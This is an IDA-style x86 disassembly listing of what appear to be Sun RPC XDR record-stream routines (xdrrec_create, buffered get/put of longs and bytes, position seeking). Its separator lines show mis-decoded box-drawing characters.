; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80654E8	proc near		; DATA XREF: .data:0807924Co

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebx+14h]
		sub	eax, esi
		mov	[ebx+14h], eax
		js	short loc_8065518
		push	esi
		mov	eax, [ebx+0Ch]
		push	eax
		push	edx
		call	bcopy
		add	[ebx+0Ch], esi
		mov	eax, 1
		jmp	short loc_806551A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065518:				; CODE XREF: sub_80654E8+16j
		xor	eax, eax

loc_806551A:				; CODE XREF: sub_80654E8+2Bj
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_80654E8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8065524	proc near		; DATA XREF: .data:08079250o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+0Ch]
		sub	edx, [eax+10h]
		mov	eax, edx
		mov	esp, ebp
		pop	ebp
		retn
sub_8065524	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8065538	proc near		; DATA XREF: .data:08079254o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		add	eax, [edx+10h]
		mov	ecx, [edx+0Ch]
		add	ecx, [edx+14h]
		cmp	eax, ecx
		jg	short loc_8065560
		mov	[edx+0Ch], eax
		sub	ecx, eax
		mov	[edx+14h], ecx
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8065560:				; CODE XREF: sub_8065538+14j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_8065538	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8065568	proc near		; DATA XREF: .data:08079258o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		xor	ecx, ecx
		cmp	[eax+14h], edx
		jl	short loc_8065581
		sub	[eax+14h], edx
		mov	ecx, [eax+0Ch]
		add	[eax+0Ch], edx

loc_8065581:				; CODE XREF: sub_8065568+Ej
		mov	eax, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_8065568	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8065588	proc near		; CODE XREF: sub_80658B4+2Cp
					; sub_806597C+50p ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		xor	eax, eax
		cmp	[ebp+arg_4], 1
		jnz	short loc_806559D
		mov	eax, 80000000h

loc_806559D:				; CODE XREF: sub_8065588+Ej
		mov	ebx, [esi+10h]
		sub	ebx, [esi+18h]
		add	ebx, 0FFFFFFFCh
		mov	edx, [esi+18h]
		or	eax, ebx
		xchg	al, ah
		ror	eax, 10h
		xchg	al, ah
		mov	[edx], eax
		mov	ebx, [esi+10h]
		sub	ebx, [esi+0Ch]
		push	ebx
		mov	eax, [esi+0Ch]
		push	eax
		mov	eax, [esi]
		push	eax
		mov	eax, [esi+8]
		call	eax
		cmp	eax, ebx
		jnz	short loc_80655E4
		mov	eax, [esi+0Ch]
		mov	[esi+18h], eax
		mov	ecx, [esi+0Ch]
		add	ecx, 4
		mov	[esi+10h], ecx
		mov	eax, 1
		jmp	short loc_80655E6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80655E4:				; CODE XREF: sub_8065588+41j
		xor	eax, eax

loc_80655E6:				; CODE XREF: sub_8065588+57j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8065588	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80655F0	proc near		; CODE XREF: sub_8065634+19p
					; sub_80656E8+18p

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+30h]
		and	eax, 3
		mov	ebx, [esi+28h]
		add	ebx, eax
		mov	edx, [esi+24h]
		sub	edx, eax
		mov	eax, edx
		push	eax
		push	ebx
		mov	eax, [esi]
		push	eax
		mov	eax, [esi+20h]
		call	eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_8065628
		mov	[esi+2Ch], ebx
		add	ebx, eax
		mov	[esi+30h], ebx
		mov	eax, 1
		jmp	short loc_806562A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065628:				; CODE XREF: sub_80655F0+27j
		xor	eax, eax

loc_806562A:				; CODE XREF: sub_80655F0+36j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_80655F0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8065634	proc near		; CODE XREF: sub_8065698+11p
					; sub_8065910+44p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_8]

loc_8065640:				; CODE XREF: sub_8065634+23j
					; sub_8065634+4Fj
		test	esi, esi
		jle	short loc_8065688
		mov	ebx, [edi+30h]
		sub	ebx, [edi+2Ch]
		jnz	short loc_8065660
		push	edi
		call	sub_80655F0
		add	esp, 4
		test	eax, eax
		jnz	short loc_8065640
		xor	eax, eax
		jmp	short loc_806568D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065660:				; CODE XREF: sub_8065634+16j
		mov	eax, esi
		cmp	esi, ebx
		jle	short loc_8065668
		mov	eax, ebx

loc_8065668:				; CODE XREF: sub_8065634+30j
		mov	ebx, eax
		push	ebx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [edi+2Ch]
		push	eax
		call	bcopy
		add	[edi+2Ch], ebx
		add	[ebp+arg_4], ebx
		sub	esi, ebx
		add	esp, 0Ch
		jmp	short loc_8065640
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065688:				; CODE XREF: sub_8065634+Ej
		mov	eax, 1

loc_806568D:				; CODE XREF: sub_8065634+27j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8065634	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8065698	proc near		; CODE XREF: sub_8065910+21p
					; sub_8065B2C+2Bp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		call	sub_8065634
		test	eax, eax
		jz	short loc_80656DC
		mov	eax, [ebp+var_4]
		xchg	al, ah
		ror	eax, 10h
		xchg	al, ah
		mov	[ebp+var_4], eax
		mov	edx, eax
		shr	edx, 1Fh
		mov	[ebx+38h], edx
		mov	edx, [ebp+var_4]
		and	edx, 7FFFFFFFh
		mov	[ebx+34h], edx
		mov	eax, 1
		jmp	short loc_80656DE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80656DC:				; CODE XREF: sub_8065698+18j
		xor	eax, eax

loc_80656DE:				; CODE XREF: sub_8065698+40j
		mov	ebx, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_8065698	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80656E8	proc near		; CODE XREF: sub_8065B2C+11p
					; sub_8065B88+11p

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]

loc_80656F3:				; CODE XREF: sub_80656E8+22j
					; sub_80656E8+37j
		test	ebx, ebx
		jle	short loc_8065724
		mov	eax, [esi+30h]
		sub	eax, [esi+2Ch]
		jnz	short loc_8065710
		push	esi
		call	sub_80655F0
		add	esp, 4
		test	eax, eax
		jnz	short loc_80656F3
		xor	eax, eax
		jmp	short loc_8065729
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065710:				; CODE XREF: sub_80656E8+15j
		mov	edx, ebx
		cmp	ebx, eax
		jle	short loc_8065718
		mov	edx, eax

loc_8065718:				; CODE XREF: sub_80656E8+2Cj
		mov	eax, edx
		add	[esi+2Ch], eax
		sub	ebx, eax
		jmp	short loc_80656F3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065724:				; CODE XREF: sub_80656E8+Dj
		mov	eax, 1

loc_8065729:				; CODE XREF: sub_80656E8+26j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_80656E8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8065734	proc near		; CODE XREF: sub_8065750+22p
					; sub_8065750+2Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	eax, 63h
		ja	short loc_8065744
		mov	eax, 0FA0h

loc_8065744:				; CODE XREF: sub_8065734+9j
		add	eax, 3
		and	al, 0FCh
		mov	esp, ebp
		pop	ebp
		retn
sub_8065734	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8065750	proc near		; CODE XREF: sub_8063B04+1E7p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		push	44h
		call	malloc
		mov	ebx, eax
		call	sub_805E954
		add	esp, 4
		test	ebx, ebx
		jz	short loc_806579B
		push	esi
		call	sub_8065734
		mov	esi, eax
		mov	[ebx+3Ch], esi
		push	edi
		call	sub_8065734
		mov	edi, eax
		mov	[ebx+40h], edi
		lea	eax, [edi+esi+4]
		push	eax
		call	malloc
		mov	[ebx+4], eax
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_80657C4

loc_806579B:				; CODE XREF: sub_8065750+1Fj
		push	offset aOutOfMemory_2 ;	"out of	memory"
		push	1
		push	0Ah
		mov	eax, dword_8078F9C
		push	eax
		call	catgets
		push	eax
		push	offset aXdrrec_createS ; "xdrrec_create: %s\n"
		push	offset unk_80787A4
		call	fprintf
		jmp	short loc_806583E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80657C4:				; CODE XREF: sub_8065750+49j
		mov	eax, [ebx+4]
		mov	[ebx+0Ch], eax
		test	al, 3
		jz	short loc_80657D9
		lea	esi, [esi]

loc_80657D0:				; CODE XREF: sub_8065750+87j
		inc	dword ptr [ebx+0Ch]
		test	byte ptr [ebx+0Ch], 3
		jnz	short loc_80657D0

loc_80657D9:				; CODE XREF: sub_8065750+7Cj
		mov	edx, [ebx+0Ch]
		add	edx, esi
		mov	[ebx+28h], edx
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+4], offset off_8079260
		mov	[edx+0Ch], ebx
		mov	edx, [ebp+arg_C]
		mov	[ebx], edx
		mov	edx, [ebp+arg_10]
		mov	[ebx+20h], edx
		mov	edx, [ebp+arg_14]
		mov	[ebx+8], edx
		mov	eax, [ebx+0Ch]
		mov	[ebx+14h], eax
		mov	[ebx+10h], eax
		mov	eax, [ebx+0Ch]
		mov	[ebx+18h], eax
		add	dword ptr [ebx+10h], 4
		add	[ebx+14h], esi
		mov	dword ptr [ebx+1Ch], 0
		mov	[ebx+24h], edi
		mov	eax, [ebx+28h]
		mov	[ebx+30h], eax
		mov	eax, edi
		add	eax, [ebx+30h]
		mov	[ebx+30h], eax
		mov	[ebx+2Ch], eax
		mov	dword ptr [ebx+34h], 0
		mov	dword ptr [ebx+38h], 1

loc_806583E:				; CODE XREF: sub_8065750+6Fj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8065750	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8065848	proc near		; DATA XREF: .data:08079260o

var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	edx, [ebx+0Ch]
		mov	ecx, [edx+2Ch]
		cmp	dword ptr [edx+34h], 3
		jbe	short loc_8065884
		mov	eax, [edx+30h]
		sub	eax, ecx
		cmp	eax, 3
		jbe	short loc_8065884
		mov	eax, [ecx]
		xchg	al, ah
		ror	eax, 10h
		xchg	al, ah
		mov	[esi], eax
		add	dword ptr [edx+34h], 0FFFFFFFCh
		add	dword ptr [edx+2Ch], 4
		jmp	short loc_80658A4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065884:				; CODE XREF: sub_8065848+18j
					; sub_8065848+22j
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		call	sub_8065910
		test	eax, eax
		jnz	short loc_8065898
		xor	eax, eax
		jmp	short loc_80658A9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065898:				; CODE XREF: sub_8065848+4Aj
		mov	eax, [ebp+var_4]
		xchg	al, ah
		ror	eax, 10h
		xchg	al, ah
		mov	[esi], eax

loc_80658A4:				; CODE XREF: sub_8065848+37j
		mov	eax, 1

loc_80658A9:				; CODE XREF: sub_8065848+4Ej
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8065848	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80658B4	proc near		; DATA XREF: .data:08079264o

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	ebx, [eax+0Ch]
		mov	edx, [ebx+10h]
		mov	eax, edx
		add	eax, 4
		mov	[ebx+10h], eax
		cmp	[ebx+14h], eax
		jnb	short loc_80658F7
		add	dword ptr [ebx+10h], 0FFFFFFFCh
		mov	dword ptr [ebx+1Ch], 1
		push	0
		push	ebx
		call	sub_8065588
		test	eax, eax
		jnz	short loc_80658F0
		xor	eax, eax
		jmp	short loc_8065907
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80658F0:				; CODE XREF: sub_80658B4+33j
		mov	edx, [ebx+10h]
		add	dword ptr [ebx+10h], 4

loc_80658F7:				; CODE XREF: sub_80658B4+1Cj
		mov	eax, [esi]
		xchg	al, ah
		ror	eax, 10h
		xchg	al, ah
		mov	[edx], eax
		mov	eax, 1

loc_8065907:				; CODE XREF: sub_80658B4+37j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_80658B4	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8065910	proc near		; CODE XREF: sub_8065848+43p
					; DATA XREF: .data:08079268o

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	edi, [ebp+arg_8]
		mov	esi, [eax+0Ch]

loc_806591F:				; CODE XREF: sub_8065910+2Bj
					; sub_8065910+58j
		test	edi, edi
		jz	short loc_806596C
		mov	ebx, [esi+34h]
		test	ebx, ebx
		jnz	short loc_8065944
		cmp	dword ptr [esi+38h], 0
		jnz	short loc_806593D
		push	esi
		call	sub_8065698
		add	esp, 4
		test	eax, eax
		jnz	short loc_806591F

loc_806593D:				; CODE XREF: sub_8065910+1Ej
					; sub_8065910+4Ej
		xor	eax, eax
		jmp	short loc_8065971
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065944:				; CODE XREF: sub_8065910+18j
		mov	eax, ebx
		cmp	edi, ebx
		jnb	short loc_806594C
		mov	eax, edi

loc_806594C:				; CODE XREF: sub_8065910+38j
		mov	ebx, eax
		push	ebx
		mov	edx, [ebp+arg_4]
		push	edx
		push	esi
		call	sub_8065634
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_806593D
		add	[ebp+arg_4], ebx
		sub	[esi+34h], ebx
		sub	edi, ebx
		jmp	short loc_806591F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806596C:				; CODE XREF: sub_8065910+11j
		mov	eax, 1

loc_8065971:				; CODE XREF: sub_8065910+2Fj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8065910	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_806597C	proc near		; DATA XREF: .data:0807926Co

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	edi, [ebp+arg_8]
		mov	esi, [eax+0Ch]

loc_806598B:				; CODE XREF: sub_806597C+44j
					; sub_806597C+5Aj
		test	edi, edi
		jz	short loc_80659DC
		mov	ebx, [esi+14h]
		sub	ebx, [esi+10h]
		mov	eax, ebx
		cmp	edi, ebx
		jnb	short loc_806599D
		mov	eax, edi

loc_806599D:				; CODE XREF: sub_806597C+1Dj
		mov	ebx, eax
		push	ebx
		mov	eax, [esi+10h]
		push	eax
		mov	edx, [ebp+arg_4]
		push	edx
		call	bcopy
		mov	eax, ebx
		add	eax, [esi+10h]
		mov	[esi+10h], eax
		add	[ebp+arg_4], ebx
		sub	edi, ebx
		add	esp, 0Ch
		cmp	[esi+14h], eax
		jnz	short loc_806598B
		mov	dword ptr [esi+1Ch], 1
		push	0
		push	esi
		call	sub_8065588
		add	esp, 8
		test	eax, eax
		jnz	short loc_806598B
		xor	eax, eax
		jmp	short loc_80659E1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80659DC:				; CODE XREF: sub_806597C+11j
		mov	eax, 1

loc_80659E1:				; CODE XREF: sub_806597C+5Ej
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_806597C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80659EC	proc near		; CODE XREF: sub_8065A40+10p
					; DATA XREF: .data:08079270o

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [esi+0Ch]
		push	1
		push	0
		mov	eax, [ebx]
		push	eax
		call	lseek
		mov	edx, eax
		cmp	edx, 0FFFFFFFFh
		jz	short loc_8065A35
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_8065A18
		cmp	eax, 1
		jz	short loc_8065A24
		jmp	short loc_8065A30
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8065A18:				; CODE XREF: sub_80659EC+22j
		mov	eax, [ebx+10h]
		sub	eax, [ebx+0Ch]
		add	edx, eax
		jmp	short loc_8065A35
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065A24:				; CODE XREF: sub_80659EC+27j
		mov	eax, [ebx+30h]
		sub	eax, [ebx+2Ch]
		sub	edx, eax
		jmp	short loc_8065A35
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065A30:				; CODE XREF: sub_80659EC+29j
		mov	edx, 0FFFFFFFFh

loc_8065A35:				; CODE XREF: sub_80659EC+1Cj
					; sub_80659EC+34j ...
		mov	eax, edx
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_80659EC	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8065A40	proc near		; DATA XREF: .data:08079274o

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esi, [edi+0Ch]
		push	edi
		call	sub_80659EC
		mov	edx, eax
		sub	edx, ebx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_8065AAC
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_8065A6C
		cmp	eax, 1
		jz	short loc_8065A88
		jmp	short loc_8065AAC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8065A6C:				; CODE XREF: sub_8065A40+22j
		mov	eax, [esi+10h]
		sub	eax, edx
		cmp	[esi+18h], eax
		jnb	short loc_8065AAC
		cmp	[esi+14h], eax
		jbe	short loc_8065AAC
		mov	[esi+10h], eax
		mov	eax, 1
		jmp	short loc_8065AAE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065A88:				; CODE XREF: sub_8065A40+27j
		mov	eax, [esi+2Ch]
		sub	eax, edx
		cmp	[esi+34h], edx
		jle	short loc_8065AAC
		cmp	[esi+30h], eax
		jb	short loc_8065AAC
		cmp	[esi+28h], eax
		ja	short loc_8065AAC
		mov	[esi+2Ch], eax
		sub	[esi+34h], edx
		mov	eax, 1
		jmp	short loc_8065AAE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065AAC:				; CODE XREF: sub_8065A40+1Cj
					; sub_8065A40+29j ...
		xor	eax, eax

loc_8065AAE:				; CODE XREF: sub_8065A40+43j
					; sub_8065A40+67j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8065A40	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8065AB8	proc near		; DATA XREF: .data:08079278o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	edx, [eax+0Ch]
		xor	ebx, ebx
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_8065AD4
		cmp	eax, 1
		jz	short loc_8065AE8
		jmp	short loc_8065B00
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065AD4:				; CODE XREF: sub_8065AB8+13j
		mov	eax, ecx
		add	eax, [edx+10h]
		cmp	[edx+14h], eax
		jb	short loc_8065B00
		mov	ebx, [edx+10h]
		mov	[edx+10h], eax
		jmp	short loc_8065B00
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065AE8:				; CODE XREF: sub_8065AB8+18j
		cmp	[edx+34h], ecx
		jl	short loc_8065B00
		mov	eax, ecx
		add	eax, [edx+2Ch]
		cmp	[edx+30h], eax
		jb	short loc_8065B00
		mov	ebx, [edx+2Ch]
		sub	[edx+34h], ecx
		add	[edx+2Ch], ecx

loc_8065B00:				; CODE XREF: sub_8065AB8+1Aj
					; sub_8065AB8+24j ...
		mov	eax, ebx
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8065AB8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

